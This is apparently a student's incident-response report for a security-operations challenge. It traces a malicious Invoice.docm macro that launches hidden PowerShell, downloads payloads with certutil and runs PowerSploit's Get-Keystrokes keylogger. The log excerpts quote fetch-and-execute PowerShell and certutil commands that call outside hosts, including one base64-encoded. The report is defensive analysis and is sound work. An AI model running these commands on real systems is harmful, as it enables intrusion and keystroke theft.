secops individual challenge

trevor achtermann

indicators and technical details

Date \Time	Identifier	ATT&CK ID	Comment
Jun 15, 2022 @ 15:43:16.168	Invoice.docm powershell.exe winword.exe	**T1137.001 \** Office Application Startup: Office Template Macros **T1204.002 \** User Execution: Malicious File	**a microsoft word document containing macros was used to launch powershell and initiate a file download from a suspicious web server \** https://ibarblkacoiwlkese.s3.amazonaws.com certificate-key.exe MSService.exe
Jun 15, 2022 @ 15:43:22.301	IEX(New-Object NetWebClient)downloadString('https://tueoeoslxos.3.us-west-2amazonaws.com/winupdater.ps1')	**TA0104 \** Execution **T1583.007 \** Acquire Infrastructure: Serverless	**this powershell command invokes an expression that causes powershell to download and execute a script from a given url \** https://tueoeoslxos.3.us-west-2amazonaws.com winupdater.ps1
Jun 15, 2022 @ 15:43:44.253	sppsvc.exe	**T1489 \** Service Stop	**windows services designed to prevent piracy / malicious behavior by verifying software signatures are stopped.** C:\Windows\System32\sihclient.exe /cv R31wYSHunEypP//kLvFmiA.0.2 C:\Windows\System32\SIHClient.exe Process end
Jun 15, 2022 @ 15:44:02.472	certutil.exe MSService.exe certificate-key.exe	**T1543 \** Create or Modify System Process	certutil is used to download MSService.exe from https://ibarblkacoiwlkese.s3.amazonaws.com/certificate-key.exe
Jun 15, 2022 @ 15:44:23.004	**Get-Keystrokes.ps1** **stage.txt** **PowerSploit** **C:\temp**	**S0194 \** PowerSploit **T1134** **T1087.001** **T1123** **T1547.001** **T1547.005** **T1059.001** **T1543.003 - continues** https://attack.mitre.org/software/S0194/ **T1056.001** Input Capture: Keylogging	another powershell command **ran 2 processes**, both in hidden windows. **the first process executes the second one** with [*bypass_execution_policy*] and [*no_exit*] option. **The second process downloads and runs a script from a URL**.The script name is Get-Keystrokes.ps1, which is a red team powershell module used for capturing keystrokes, part of the package of modules known as PowerSploit. we believe the captured keystrokes are dumped into the stage.txt file located in the temp directory of the C drive for exfiltration WindowStyle hidden powershell.exe -exec Bypass -noexit -C IEX (New-Object Net.WebClient). DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-Keystrokes.ps1') >> C:\temp\stage.txt

technical summary

markdown:

\\\\ ***logon is successful and user is determined to have administrator access***

> Jun 15, 2022 @ 15:43:03.056 - DESKTOP-J22LNE4 - - iamadmin

> Jun 15, 2022 @ 15:43:03.068 services.exe

Subject:

Security ID:S-1-5-18

Account Name:DESKTOP-J22LNE4$

Account Domain:WORKGROUP

Logon ID:0x3E7

\\\\ ***powershell is then ran as a child of [winword.exe]***

> Jun 15, 2022 @ 15:43:16.168 powershell.exe DESKTOP-J22LNE4

```
powershell.exe -WindowStyle hidden -EP Bypass -enc
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAAp
AC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AdAB1AG
UAbwBlAG8AcwBsAHgAbwAuAHMAMwAuAHUAcwAtAHcAZQBzAHQALQAyAC4AYQBtAGEAegBvAG4
AYQB3AHMALgBjAG8AbQAvAHcAaQBuAHUAcABkAGEAdABlAHIALgBwAHMAMQAnACkA"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeprocessinfo
```

8560 PowerShell.EXE

\\\\ this was determined by examining these parameters associated with the event:

[process.parent.args]

C:\Program Files\Microsoft Office 15\Root\Office15\WINWORD.EXE, /n, C:\Users\Analysis-Lab\Desktop\ [**Invoice.docm**] , /o

[process.parent.executable]

C:\Program Files\Microsoft Office 15\root\office15\winword.exe

[process.pe.original_file_name]

PowerShell.EXE

\\\\ ***the garbled text seen above is base64, converting back and removing full stops gives us***

IEX(New-Object NetWebClient)downloadString('https://tueoeoslxos.3.us-west-2amazonaws.com/winupdater.ps1')

\\\\ ***this command invokes an expression that uses the NetWebCLient class to download and execute a script at a given url [https://tueoeoslxos.3.us-west-2amazonaws.com] [winupdater.ps1]***

[continued]

technical summary [01]

\\\\ multiple windows services designed to prevent piracy / malicious behavior are stopped [sppsvc.exe] [SIHClient.exe]

```
> Jun 15, 2022 @ 15:43:39.102  SIHClient.exe  DESKTOP-J22LNE4
C:\Windows\System32\sihclient.exe  /cv R31wYSHunEypP//kLvFmiA.0.2
C:\Windows\System32\SIHClient.exe
process end
9208
sihclient.exe
```

```
> Jun 15, 2022 @ 15:43:44.253  sppsvc.exe  DESKTOP-J22LNE4
(empty)C:\Windows\System32\sppsvc.exe
processend
6020
sppsvc.exe
```

\\\\ temp directory is created in the event it doesnt already exist

```
> Jun 15, 2022 @ 15:43:56.925  powershell.exe  DESKTOP-J22LNE4

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden "mkdir 'C:\temp'"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
process end
8,108
PowerShell.EXE [odd_original_filename]
```

\\\\ certutil is used to download [MSService.exe] from [https://ibarblkacoiwlkese.s3.amazonaws.com/certificate-key.exe]

```
> Jun 15, 2022 @ 15:44:02.472certutil.exeDESKTOP-J22LNE4

"C:\Windows\system32\certutil.exe" -urlcache -split -f https://ibarblkacoiwlkese.s3.amazonaws.com/certificate-key.exe C:\ProgramData\MSService.exe
C:\Windows\SysWOW64\certutil.exe
process start
6244
CertUtil.exe [odd_original_filename
```

[continued]

technical summary [02]

\\\\ another powershell command ran 2 processes, both in hidden windows. the first process executes the second one with [bypass_execution_policy] and [no_exit] option. The second process downloads and runs a script from a URL. The script name is [Get-Keystrokes.ps1], which is a script for capturing keystrokes.

[Get-Keystrokes.ps1] logs key presses, time and the active window to a file named [stage.txt], which is located in [C:\temp]

[Get-Keystrokes.ps1] is a module from [PowerSploit]
[https://attack.mitre.org/software/S0194/]

> Jun 15, 2022 @ 15:44:23.004 - DESKTOP-J22LNE4

```
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -

WindowStyle hidden powershell.exe -exec Bypass -noexit -C IEX (New-Object Net.WebClient).

DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/
Exfiltration/Get-Keystrokes.ps1') >> C:\temp\stage.txt
```

a little insight we got from an event into how Get-Keystrokes.ps1 works:

```
Engine state is changed from None to Available.


Details:
NewEngineState=Available
PreviousEngineState=None


SequenceNumber=13


HostName=ConsoleHost
HostVersion=5.1.19041.1237
HostId=959fc15d-384c-4bab-9cf3-e2ee7496a2b4
HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -exec Bypass -noexit -C IEX function Get-Keystrokes {
<#
.SYNOPSIS


   Logs keys pressed, time and the active window.


   PowerSploit Function: Get-Keystrokes
   Original Authors: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation)
   Revised By: Jesse Davis (@secabstraction)
   License: BSD 3-Clause
   Required Dependencies: None
   Optional Dependencies: None


.PARAMETER LogPath
  Specifies the path where pressed key details will be logged. By default, keystrokes are logged to %TEMP%\key.log.
.PARAMETER Timeout  Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely.


PARAMETER PassThru


Returns the keylogger's PowerShell object, so that it may manipulated (disposed) by the user; primarily for testing purposes.
```

technical summary [03]

\\\\ consent.exe [triggered_when_a_program_needs_administrative_permissions] \\\\

parent pid = 6452

\\\\ 2 start events within 3 minutes of each other:
[process.name = consent.exe and process.event = start]

```
> Jun 15, 2022 @ 15:45:02.936  consent.exe  DESKTOP-J22LNE4
consent.exe 6452 258
000002C0D62E0500
C:\Windows\System32\consent.exe
process start
9096
```

```
> Jun 15, 2022 @ 15:47:16.987consent.exe  DESKTOP-J22LNE4
consent.exe 6452 258
000002C0D62E03D0
C:\Windows\System32\consent.exe
process start
1528
```

\\\\ there are also event.category [library] start events within seconds of each process start event

\\\\ in between each start event consent.exe performs registry access as well as the previously mentioned library start

\\\\ in the first process start event, a registry change is made as well

```
> Jun 15, 2022 @ 15:45:03.599svchost.exeDESKTOP-J22LNE4 -
C:\Windows\System32\svchost.exeregistrychange
1140
```

```
[registry.key]
SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileService\References\S-1-5-21-2456954166
4155419520-3527367723-1001
```

```
[registry.path]
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileService\References\S-1-5-21-
2456954166-4155419520-3527367723-1001\RefCount
```

technical summary [04]

```
> Jun 15, 2022 @ 15:45:03.156  consent.exe  DESKTOP-J22LNE4 -
C:\Windows\System32\consent.exe
  library  start
9096
```

```
> Jun 15, 2022 @ 15:45:03.135  consent.exe  DESKTOP-J22LNE4 -
C:\Windows\System32\consent.exe
registry  access
9096
```

\\ second event \\

```
> Jun 15, 2022 @ 15:47:17.065consent.exeDESKTOP-J22LNE4 -
C:\Windows\System32\consent.exelibrarystart1,528
```

```
> Jun 15, 2022 @ 15:47:17.051consent.exeDESKTOP-J22LNE4 -
C:\Windows\System32\consent.exeregistryaccess1,528
```

\\\\ in between the first and second start event, [wlidsvc.exe] and [wmiprvse.exe] [windows error reporting services] are killed

```
> Jun 15, 2022 @ 15:47:02.197  svchost.exe  DESKTOP-J22LNE4
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
processend
6540
```

```
> Jun 15, 2022 @ 15:45:18.972  WmiPrvSE.exe DESKTOP-J22LNE4
C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\System32\wbem\WmiPrvSE.exe  < [this_camelcase_is_weird]
process end
8104
```

\\\\ after the second start event, [regedit.exe] starts and roughly ~20 registry changes are made by [explorer.exe]

\\\\ four more registry changes are made by [lsass.exe] before it appears that [gpsvc] is killed

```
> Jun 15, 2022 @ 15:48:12.617
svchost.exeDESKTOP-J22LNE4C:\Windows\system32\svchost.exe -k netsvcs -p -s [gpsvc]
C:\Windows\System32\svchost.exe
process  end
[killed_group_policy_client_service]
```

technical summary [05]

\\\\ immediately after this event, [winword.exe] makes another registry change

// process.name = winword.exe

```
> Jun 15, 2022 @ 15:48:13.742
winword.exeDESKTOP-J22LNE4 -
C:\Program Files\Microsoft Office 15\root\office15\ [winword.exe]
registry  change
276
```

\\\\ the only other event visibly linked to [winword.exe] is a network end event that appears to have occurred before the first
[consent.exe] start event

```
> Jun 15, 2022 @ 15:45:02.185winword.exeDESKTOP-J22LNE4 -
C:\Program Files\Microsoft Office 15\root\office15\winword.exe
network  end
276
```

this string was also found encoded in base64 within an event
G.e.t.-.S.m.b.S.h.a.r.e. .|. .C.o.n.v.e.r.t.T.o.-.J.s.o.n.
>this command enumerates available network shares and converts that data to JSON

remediation \ reccomendation

> delete invoice.docm

> navigate to C:\temp and delete stage.txt

> navigate to C:\programdata and delete MSService.exe

> look at /CurrentVersion/Run keys and ensure no persistence through registry

> empty recycle bin

> restart host machine and ensure files mentioned above have not returned

note: this will only remediate the host machine. because base64 strings that enumerate network shares was also found within the log data, it would be prudent to inspect the afforementioned netowork shares and the machines that are connected to them. This ensures the malicious files that were downloaded by host0 is not sitting dormant on another machine on our network

remediation \ reccomendation [01]

in terms of being better prepared for this in the future, because the exploit being used in this case is a form of input capture that relies on abusing native system processes in order to perform its designated function, its difficult to mitigate with preventative controls. However, there are ways we can detect system processes being used improperly for keylogging purposes in a few key ways

This can be achieved by setting up monitoring for:

- unusual kernal driver installation activity
- monitor for API calls to SetWindowsHook, GetKeyState, and GetAsyncKeyState
- verify integrity of live processes by comparing code in memory to a corresponding static binary that is known to be clean and uncorrupted

executive summary

On June 15, 2022 @ 15:00 - 16:00 our security operations team was tipped off that a user had opened a suspicious word document that was listed as Invoice.doc as an attachment in an email. after futher investigation into log data associated with the event, we have determined the document to be a catalyst for the installation of a malicious tool often referred to as a keylogger. Keylogger infected machines can have each input that is typed into their keyboard logged and saved, which can later be examined by a threat actor and used to capture sensitive login information, confidential business data, or private communications from the infected machine. Our reccomendations for remediation of the network can be found directly above this summary.

.